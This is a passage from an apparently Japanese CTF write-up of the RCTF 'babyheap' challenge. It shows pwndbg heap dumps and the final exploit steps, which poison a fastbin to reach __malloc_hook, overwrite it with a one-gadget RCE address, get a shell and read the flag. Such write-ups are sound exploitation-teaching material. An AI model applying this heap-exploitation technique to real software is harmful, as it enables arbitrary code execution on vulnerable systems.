02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 —▸ 0x564c837583b0 ◂— 0x6666666666666666 ('ffffffff')
06:0030│   0x7f2e86a82030 ◂— 0x0
... ↓
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x00000000000000b1  #5
0x564c837583b0: 0x6666666666666666      0x6666666666666666
(snip)
0x564c83758430: 0x0000000000000090      0x0000000000000070
0x564c83758440: 0x00007f2e86858aed      0x00000000696d6f67
0x564c83758450: 0x0000000000000000      0x0000000000000151
0x564c83758460: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c837584a0: 0x0000000000000100      0x0000000000000100
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000150      0x0000000000000020  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x564c83758430 (overlap chunk with 0x564c837583a0(freed) )
(0x80)     fastbin[6]: 0x0
                  top: 0x564c837585c0 (size : 0x20a40) 
       last_remainder: 0x564c83758450 (size : 0x150) 
            unsortbin: 0x564c83758450 (size : 0x150)

16. サイズ0x60バイトの領域を確保する。このときarenaのfastbin[5]には__malloc_hook - 0x23がつながれている。

pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x564c8374f000      0x0                 0x91b0               Used                None              None
0x564c837581b0      0x0                 0x90                 Used                None              None
0x564c83758240      0x0                 0x120                Used                None              None
0x564c83758360      0x0                 0x20                 Used                None              None
0x564c83758380      0x0                 0x20                 Used                None              None
0x564c837583a0      0x0                 0xb0                 Freed 0x66666666666666660x6666666666666666
Corrupt ?! (size == 0) (0x564c83758450)
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x7f2e86858aed (size error (0x78)) --> 0x2e86519e20000000 (invaild memory)
(0x80)     fastbin[6]: 0x0
                  top: 0x564c837585c0 (size : 0x20a40) 
       last_remainder: 0x564c83758450 (size : 0x0) 
            unsortbin: 0x564c83758450 (invaild memory)

17. サイズ0x60バイトの領域を確保する。このときチャンクアドレスとして__malloc_hook - 0x23が返るので、__malloc_hookにあたる部分にOne-Gadget-RCEを書き込む。

One-Gadget-RCE書き込み前
pwndbg> x/32gx &__malloc_hook
0x7f2e86858b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f2e86858b20 <main_arena>:    0x0000000000000000      0x0000000000000000
0x7f2e86858b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000
One-Gadget-RCE書き込み後
pwndbg> x/32gx &__malloc_hook
0x7f2e86858b10 <__malloc_hook>: 0x00007f2e864d926a      0x0000000000000000
0x7f2e86858b20 <main_arena>:    0x0000000000000000      0x0000000000000000
0x7f2e86858b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000

18. 適当なサイズAllocしたらshellが起動する。

[*] Switching to interactive mode
$ ls
babyheap
bin
dev
flag
lib
lib32
lib64
run_with_alarm.sh
$ cat flag
RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1